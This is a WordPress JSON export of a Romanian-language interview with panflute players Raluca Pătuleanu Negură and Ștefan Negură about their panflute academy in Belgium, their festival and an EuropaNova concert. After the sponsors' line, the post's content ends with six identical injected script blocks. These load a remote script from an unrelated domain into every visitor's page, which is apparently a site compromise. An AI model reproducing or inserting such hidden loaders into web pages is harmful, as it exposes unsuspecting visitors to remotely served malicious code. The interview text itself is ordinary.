{"id":6965,"date":"2023-09-19T09:19:20","date_gmt":"2023-09-19T08:19:20","guid":{"rendered":"https:\/\/www.europanova.be\/naiul-este-un-instrument-magic\/"},"modified":"2025-12-17T14:48:02","modified_gmt":"2025-12-17T13:48:02","slug":"naiul-este-un-instrument-magic","status":"publish","type":"post","link":"https:\/\/www.europanova.be\/ro\/naiul-este-un-instrument-magic\/","title":{"rendered":"Raluca P\u0103tuleanu Negur\u0103 \u0219i \u0218tefan Negur\u0103: \u201cNaiul este un instrument magic\u201d"},"content":{"rendered":"\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><strong><em>Un dialog cu RALUCA P\u0102TULEANU NEGUR\u0102 \u0219i \u0218TEFAN NEGUR\u0102 despre dragostea lor \u201cpentru muzica rom\u00e2neasc\u0103 \u0219i pentru nai\u201d<\/em><\/strong><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"has-small-font-size\"><strong>Festivalul EuropaNova <\/strong>\u2013 <strong>17:00 Duminic\u0103, 24 septembrie \u2013 Alchimia tradi\u021biilor<\/strong><\/p>\n\n\n\n<p class=\"has-small-font-size\">Schola Nova,&nbsp;Chauss\u00e9e de Namur, 101, Incourt <\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>EUROPANOVA: Urm\u0103ream parcursul dvs. artistic \u0219i ne creionam o hart\u0103 imaginar\u0103 a locurilor unde a\u021bi concertat. Sau unde a\u021bi \u0219i predat. A\u021bi fost\u2026 aproape pretutindeni! Exist\u0103, totu\u0219i, o destina\u021bie pe care v\u0103 dori\u021bi neap\u0103rat s\u0103 o ad\u0103uga\u021bi sau s\u0103 o revizita\u021bi \u00een viitorul apropiat?<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: A\u0219 dori sa mergem \u00een Japonia \u0219i Statele Unite!<\/p>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: \u0218i China, \u0219i Australia\u2026<\/p>\n\n\n\n<p>EUROPANOVA: Ave\u021bi un tip de public favorit? Exist\u0103 tr\u0103s\u0103turi distinctive \u00eentre publicul din Belgia, din Rom\u00e2nia, din Moldova, din China\u2026?<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full is-resized\"><a href=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/300081642_1403999630098753_6386757168698792093_n.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/300081642_1403999630098753_6386757168698792093_n.jpg\" alt=\"\" class=\"wp-image-6952\" style=\"width:361px;height:545px\" width=\"361\" height=\"545\"\/><\/a><\/figure>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Principala tr\u0103s\u0103tur\u0103 este entuziasmul. Ce s\u0103 zic, poate \"o fat\u0103 la nai\" impresioneaz\u0103 tot timpul!\u2026 Oricum, suntem primi\u021bi peste tot cu mult entuziasm, dar poate cele mai multe aplauze le-am cules \u00een Moldova \u0219i \u00een China.<\/p>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: Eu cred c\u0103 naiul impresioneaza publicul peste tot, \u00een toate col\u021burile lumii.<\/p>\n\n\n\n<p>EUROPANOVA: V-a\u021bi stabilit de mult\u0103 vreme \u00een Belgia, unde a\u021bi \u00eenfiin\u021bat o Academie interna\u021bional\u0103 de nai. Organiza\u021bi concerte, dar oferi\u021bi \u0219i lec\u021bii de nai, fluier, caval. Vorbi\u021bi-ne, v\u0103 rog, despre aceast\u0103 ini\u021biativ\u0103, dar \u0219i despre cursan\u021bii dvs.<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Am dat lec\u021bii de nai timp de zece ani, din 1996 p\u00e2n\u0103 \u00een 2006, \u00eentr-o academie privat\u0103 l\u00e2ng\u0103 Bruxelles, \u00een or\u0103\u0219elul Dworp. O \u0219coal\u0103 renumit\u0103 pentru profesorii s\u0103i\u2026 Foarte diver\u0219i ca origine: armeni, ru\u0219i, polonezi\u2026<\/p>\n\n\n\n<p>EUROPANOVA: \u0218i propria \u0219coal\u0103?...<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Dup\u0103 aceast\u0103 perioad\u0103, m-am hotar\u00e2t s\u0103-mi deschid propria \u0219coal\u0103 de nai. Din din 2006 p\u00e2n\u0103 \u00een 2020 am fost \"Belgian panflute school\". \u00cen 2020, am deschis \"International Panflute Academy\", \u00eempreun\u0103 cu so\u021bul meu, \u0218tefan, fiul profesorului de nai Ion Negur\u0103. Cre\u0103m metode de nai, facem \u00eenregistr\u0103ri \u0219i, bine\u00een\u021beles, organiz\u0103m evenimente culturale.<\/p>\n\n\n\n<p>EUROPANOVA: Elevii?<\/p>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: Pot urma cursuri la noi \u00een academie at\u00e2t copiii, c\u00e2t \u0219i adul\u021bii. Este de ajuns voin\u021ba de a \u00eenv\u0103\u021ba \"dragostea pentru muzic\u0103\". Oferim lec\u021bii elevilor \u00eenscri\u0219i la instrumente, dac\u0103 este necesar, \u0219i de teorie \u0219i solfegiu. La noi la academie se pot urma, de asemenea, cursuri de caval, fluier, dar \u0219i de ocarin\u0103, tilinc\u0103, fluier \u00eengem\u0103nat. Organiz\u0103m \u0219i seminare de nai, caval \u0219i fluier. Cei interesa\u021bi pot participa timp de c\u00e2teva zile la lec\u021bii intensive cu profesori din alte \u021b\u0103ri: Moldova, Germania\u2026<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: O dat\u0103 pe an, elevii no\u0219tri dau examen pentru diplom\u0103, f\u0103r\u0103 public, dar \u0219i audi\u021bii cu public. De asemenea, elevii no\u0219tri pot participa la festivalul pe care \u00eel organiz\u0103m \u0219i cu inten\u021bia de a-i promova pe ei, dar \u0219i pe to\u021bi nai\u0219tii\u2026<\/p>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: \u2026\u00een fa\u021ba unui public mai mult de specialitate\u2026<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Muzica rom\u00e2neasca este at\u00e2t de bine structurat\u0103\u2026 Ca \u0219i muzica clasic\u0103! Se poate scrie \u0219i executa cu precizie de lumea \u00eentreag\u0103.<\/p>\n\n\n\n<p>EUROPANOVA: E mult\u0103 munc\u0103 \u0219i experien\u021b\u0103 \u00een spate\u2026<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Am publicat mai multe metode pentru nai, care au fost apreciate p\u00e2n\u0103 \u00een China. Din 2018, am \u00eenceput sa colaborez cu Conservatorul din regiunea Shanxi, din Republica Popular\u0103 Chinez\u0103.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><a href=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/253981400_2029094040583274_7047816131667766333_n.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/253981400_2029094040583274_7047816131667766333_n-1024x681.jpg\" alt=\"\" class=\"wp-image-6940\" style=\"width:541px;height:360px\" width=\"541\" height=\"360\"\/><\/a><\/figure>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: Am predat lec\u021bii de nai, fluier \u0219i caval timp 15 ani la Liceul Republican \"Ciprian Porumbescu\" din Chi\u0219in\u0103u \u0219i la Universitatea de Arte din Chi\u0219in\u0103u, Republica Moldova.<\/p>\n\n\n\n<p>EUROPANOVA: De ce Belgia? Ce ofer\u0103, din punct de vedere artistic, aceast\u0103 \u021bar\u0103 \u2013 \u0219i nu a\u021bi g\u0103sit \u00een alt\u0103 parte de lume?<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Nu chiar am ales \u00een mod special Belgia. Am avut un turneu aici \u00een urm\u0103 cu trei decenii, dup\u0103 care mi s-au deschis alte oportunit\u0103\u021bi. Dac\u0103 a\u0219 fi putut alege, poate a\u0219 fi ales atunci Olanda sau Elve\u021bia, care au zeci de \u0219coli de nai. Dar pot s\u0103 afirm c\u0103 am fost bine primi\u021bi \u0219i c\u0103 am fost aprecia\u021bi de publicul belgian. Am c\u00e2ntat pe scene mari \u0219i mici, cu muzicieni belgieni renumi\u021bi. Am reprezentat Rom\u00e2nia la multe festivaluri interna\u021bionale, la evenimente culturale de renume interna\u021bional, nenum\u0103rate concerte \u00een bisericile catolice\u2026<\/p>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: La mine este mai simplu de r\u0103spuns. Eu am ales Belgia pentru c\u0103 am vrut s\u0103 fiu al\u0103turi de Raluca. Noi reprezent\u0103m acum unica \u0219coal\u0103 de nai din Belgia \u0219i poate printre cele mai bune \u0219coli de nai din lume...<\/p>\n\n\n\n<p>EUROPANOVA: A\u021bi propus un festival de nai. A\u021bi organizat deja dou\u0103 edi\u021bii, una \u00een Moldova, a doua \u00een Belgia.<\/p>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: Festivalul nostru, care se cheam\u0103 \"Panflute Paradise\", este apreciat de to\u021bi iubitorii de nai \u0219i muzic\u0103 rom\u00e2neasc\u0103. Muzic\u0103 rom\u00e2neasc\u0103, interpretat\u0103 de nai\u0219ti de origine str\u0103in\u0103, aceasta este o caracteristic\u0103 a festivalului.<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: A doua edi\u021bie a fost sus\u021binut\u0103 financiar de comunitatea flamand\u0103 \"Vlaamse gemeenschap\". Am putut invita orchestra \"Rapsozii Moldovei\", 14 instrumenti\u0219ti din Republica Moldova, 25 de soli\u0219ti la nai, Ionu\u021b Petreca, reprezentant de frunte al c\u00e2ntului rom\u00e2nesc, un inginer de sunet \u0219i un cameraman din Republica Moldova. V\u0103 invit s\u0103 viziona\u021bi concertele festivalului pe canalul youtube cu acela\u0219i nume.<\/p>\n\n\n\n<p>EUROPANOVA: Care a fost motorul acestei ini\u021biative?<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Dragostea pentru muzica rom\u00e2neasc\u0103 \u0219i dragostea pentru nai.<\/p>\n\n\n\n<p>EUROPANOVA: Cu ce impresii a\u021bi r\u0103mas, ca organizator, acum, la un pic de distan\u021b\u0103 de evenimente?<\/p>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: Am legat foarte frumoase prietenii datorit\u0103 acestui festival. Este foarte mult\u0103 munc\u0103 de organizare la un festival de aceast\u0103 m\u0103rime, dar, totu\u0219i, impresia de sf\u00e2r\u0219it este: dorin\u021ba de a organiza c\u00e2t mai multe edi\u021bii, de a populariza c\u00e2t mai larg acest instrument\u2026 Un instrument magic, a\u0219 spune!<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Nimic nu m\u0103 poate da \u00eenapoi s\u0103 organizam acest festival, cu toate c\u0103 am muncit nou\u0103 luni de zile la ultima edi\u021bie, \u00een echip\u0103. To\u021bi participan\u021bii \u0219i publicul nostru a\u0219teapt\u0103 cu ner\u0103bdare urm\u0103toarea edi\u021bie. Noi a\u0219tept\u0103m s\u0103 fie pace \u0219i s\u0103 ne punem pe treab\u0103!<\/p>\n\n\n\n<p>EUROPANOVA: Pe c\u00e2nd \u0219i unde urm\u0103toarea edi\u021bie?<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Urm\u0103toarea edi\u021bie ar trebui s\u0103 aib\u0103 loc la Chi\u0219in\u0103u. Ne-am propus de aceast\u0103 dat\u0103 s\u0103 punem \u00een lumin\u0103 muzica rom\u00e2neasc\u0103 compusa de compozitorii din Rom\u00e2nia \u0219i Republica Moldova. Dorim ca soli\u0219tii - nai\u0219tii - s\u0103 fie acompania\u021bi de o orchestr\u0103 de camer\u0103 prestigioas\u0103.<\/p>\n\n\n\n<p>EUROPANOVA: Ve\u021bi concerta la Festivalul EuropaNova, \u00een Aula Maior a \u0219colii interna\u021bionale Schola Nova. Ce preg\u0103ti\u021bi, cu ce ve\u021bi \u00eenc\u00e2nta publicul?<\/p>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: Festivalul EuropaNova reprezint\u0103 valorile na\u021bionale. R\u0103spunsul e de la sine: \u00een program vom avea muzic\u0103 tradi\u021bional\u0103 rom\u00e2neasc\u0103.<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: Vom interpreta cu siguran\u021b\u0103 \u0219i piesa de mare virtuozitate pentru nai \"Cioc\u00e2rlia\", parte din \"Rapsodia Rom\u00e2na nr. 1\u201d, compus\u0103 de George Enescu.<\/p>\n\n\n\n<p>EUROPANOVA: V\u0103 mul\u021bumim pentru aceast\u0103 conversa\u021bie, cu deosebit\u0103 pre\u021buire, cu ner\u0103bdarea de a asita la acest nou moment artistic pe care ni-l ve\u021bi oferi duminic\u0103, 24 septembrie, \u00een Aula Maior a \u0219colii de excep\u021bie Schola Nova, la Incourt, \u00een inimosul Brabant valon!<\/p>\n\n\n\n<p>\u0218TEFAN NEGUR\u0102: V\u0103 mul\u021bumim pentru apreciere \u0219i pentru invita\u021bie.<\/p>\n\n\n\n<p>RALUCA P\u0102TULEANU NEGUR\u0102: \u0218i v\u0103 felicit\u0103m \u0219i noi pentru ce \u00eencerca\u021bi s\u0103 face\u021bi \u0219i pentru locul ales pentru desf\u0103\u0219urarea acestui eveniment!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"has-small-font-size\">Acest proiect este realizat cu sprijinul Departamentului pentru Rom\u00e2nii de Pretutindeni, al Institutului Cultural Rom\u00e2n \u2013 Bruxelles, al Ambasadei Rom\u00e2niei \u00een Regatul Belgiei \u0219i al Ambasadei Moldovei \u00een Regatul Belgiei \u0219i Luxemburg.<\/p>\n<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script>","protected":false},"excerpt":{"rendered":"<p>Un dialog cu RALUCA P\u0102TULEANU NEGUR\u0102 \u0219i \u0218TEFAN NEGUR\u0102 despre dragostea lor \u201cpentru muzica rom\u00e2neasc\u0103 \u0219i pentru nai\u201d Festivalul EuropaNova \u2013 17:00 Duminic\u0103, 24 septembrie \u2013 Alchimia tradi\u021biilor Schola Nova,&nbsp;Chauss\u00e9e de Namur, 101, Incourt EUROPANOVA: Urm\u0103ream parcursul dvs. artistic \u0219i ne creionam o hart\u0103 imaginar\u0103 a locurilor unde a\u021bi concertat. Sau unde a\u021bi \u0219i predat. [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":6989,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[146],"tags":[],"class_list":["post-6965","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artistes-musiciens"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6965","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/comments?post=6965"}],"version-history":[{"count":7,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6965\/revisions"}],"predecessor-version":[{"id":7158,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/posts\/6965\/revisions\/7158"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/media\/6989"}],"wp:attachment":[{"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/media?parent=6965"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/categories?post=6965"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.europanova.be\/ro\/wp-json\/wp\/v2\/tags?post=6965"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}